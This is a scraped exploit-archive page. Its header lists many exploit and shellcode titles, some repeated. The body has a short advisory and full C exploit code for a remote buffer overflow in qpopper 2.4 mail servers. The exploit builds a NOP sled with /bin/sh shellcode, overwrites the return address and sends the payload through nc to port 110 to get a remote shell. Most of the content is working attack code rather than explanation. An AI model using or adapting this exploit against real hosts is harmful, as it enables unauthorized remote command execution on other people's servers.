880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
63 lines
No EOL
1.9 KiB
C
63 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/133/info
|
|
|
|
A number of buffer-overflow issues reside in versions prior to 2.5 of Qualcomm's 'qpopper' program. Exploiting this issue allows a remote attacker to execute arbitrary commands on hosts that are running a vulnerable version.
|
|
|
|
To determine if you are vulnerable, telnet to port 110 on the possibly vulnerable host. A banner appears, informing you of the version of the pop server. For example:
|
|
|
|
% telnet yourmailhost.your.domain.com 110
|
|
Trying 123.123.123.123
|
|
Connected to mailhost
|
|
+OK QPOP (version 2.4) at yourmailhost.your.domain.com starting
|
|
|
|
If any version prior to 2.5 is reported, including 2.5 beta, you should upgrade immediately to the latest version.
|
|
|
|
/* Exploit for qpopper 2.4 (and others) for Linux
|
|
* by [WaR] (warchild@cryogen.com) and zav (zav@cryogen.com)
|
|
*
|
|
* usage: (./qpopper <offset>;cat)|nc <victim> 110
|
|
* with offset around 1000 (try increments of 50)
|
|
*
|
|
*
|
|
* shout outs to: Zef and YZF
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
#define BUFFSIZE 998
|
|
|
|
char shell[] =
|
|
"\xeb\x33\x5e\x89\x76\x08\x31\xc0"
|
|
"\x88\x66\x07\x83\xee\x02\x31\xdb"
|
|
"\x89\x5e\x0e\x83\xc6\x02\xb0\x1b"
|
|
"\x24\x0f\x8d\x5e\x08\x89\xd9\x83"
|
|
"\xee\x02\x8d\x5e\x0e\x89\xda\x83"
|
|
"\xc6\x02\x89\xf3\xcd\x80\x31\xdb"
|
|
"\x89\xd8\x40\xcd\x80\xe8\xc8\xff"
|
|
"\xff\xff/bin/sh";
|
|
|
|
unsigned long esp()
|
|
{
|
|
__asm__(" movl %esp,%eax ");
|
|
}
|
|
|
|
main(int argc, char **argv)
|
|
{
|
|
int i,j,offset;
|
|
unsigned long eip;
|
|
char buffer[4096];
|
|
|
|
j=0;
|
|
offset=atoi(argv[1]);
|
|
eip=esp()+offset;
|
|
for(i=0;i<1008;i++) buffer[i]=0x90;
|
|
for(i=(BUFFSIZE - strlen(shell));i<BUFFSIZE;i++) buffer[i]=shell[j++];
|
|
|
|
i=1005;
|
|
buffer[i]=eip & 0xff;
|
|
buffer[i+1]=(eip >> 8) & 0xff;
|
|
buffer[i+2]=(eip >> 16) & 0xff;
|
|
buffer[i+3]=(eip >> 24) & 0xff;
|
|
|
|
printf("%s\nsh -i\n",buffer);
|
|
} |